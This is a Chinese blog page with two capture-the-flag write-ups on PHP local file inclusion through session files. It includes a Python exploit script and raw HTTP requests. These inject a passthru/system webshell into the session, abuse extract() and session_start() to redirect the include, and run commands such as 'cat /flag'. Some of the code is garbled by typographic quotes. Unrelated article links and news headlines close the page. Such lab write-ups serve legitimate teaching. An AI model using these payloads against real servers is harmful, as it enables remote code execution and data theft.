当前位置: 首页 > news >正文

文件包含-session2

[题目信息]:

题目名称题目难度
文件包含-session22

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2098

[题目writeup]:

1、实验主页

2、题解分析

#!/usr/bin/env python
# coding: utf-8

from time import sleep
import requests

url = ‘url’

s = requests.session()

def execute(cmd):
params = {
‘file’: ‘<?php passthru($POST[“cmd”]); ?>’
}
r = s.get(url, params=params)
params[‘file’] = '/tmp/sess
’ + r.cookies[‘PHPSESSID’]

r = s.post(url, params=params, data={'cmd': cmd})
return r.text

print execute(‘cat /flag’)








[题目信息]:

题目名称题目难度
文件包含-session2

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2090

[题目writeup]:

1、实验主页

2、题解分析

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

分析题目源码,可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] = $_POST[‘name’] 可控

其中 call_user_func($func,$_GET); 回调函数可利用

而且 include($file); 调用了文件包含

所以,可以调用变量覆盖函数,覆盖掉 $file ,从而引入文件包含

?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

利用文件包含读到了admin.php和function.php的源码,然而这两个文件源码对解题没有什么帮助。

从index.php可以看出 $_SESSION[‘name’] = $_POST[‘name’] ,session的值可控,session默认的保存位置如下

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) ,我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session,所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数,修改session的位置

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>

然后进行包含session

/index.php?function=extract&file=/tmp/sess_056395276464d1b4480bc1457efbb106&x=cat+fsadgsdagsadgasd.php

相关文章:

  • 函数式编程:概念、特性与应用
  • 运行测试用例
  • c3p0、Druid连接池+工具类 Apache-DbUtils (详解!!!)
  • 使用 DeepSeek + OmniParser v2 + UIAutomation 实现 GUI 应用自动化测试的探索
  • 【C++】 stack和queue以及模拟实现
  • [C语言]动态内存分配详解
  • python与C系列语言的差异总结(2)
  • C++21--红黑树
  • 网络安全实入门| 剖析HTTP慢速攻击(Slowloris)与Nginx防护配置
  • unity学习53:UI的子容器:面板panel
  • VMware17下安装Ubuntu22.04与Docker(附带:1.解决重启后IP重置问题。2.多个虚拟机之间网络通信)
  • 机器学习2-决策树
  • Metal 学习笔记二:3D模型
  • 正则化及其在机器学习中的作用
  • 大模型在术后认知功能障碍预测及临床方案制定中的应用研究
  • Java——内部类
  • 嵌入式Modbus协议面试题及参考答案
  • Deepseek和Grok 3对比:写一段冒泡排序
  • 计算机毕业设计SpringBoot+Vue.js明星周边产品销售网站(源码+文档+PPT+讲解)
  • RTK定位精度 1cm+1ppm 中的ppm是什么意思?
  • 习近平在第三十五个全国助残日到来之际作出重要指示
  • 恒生银行回应裁员传闻:受影响的员工数目占银行核心业务员工总数约1%
  • 董军同德国国防部长举行会谈
  • 小耳朵等来了春天:公益义诊筛查专家走进安徽安庆
  • 观察|本轮印巴冲突或促使印度空军寻求更先进战机
  • 大外交|巴西总统卢拉第六次访华签署20项协议,“双方都视对方为机遇”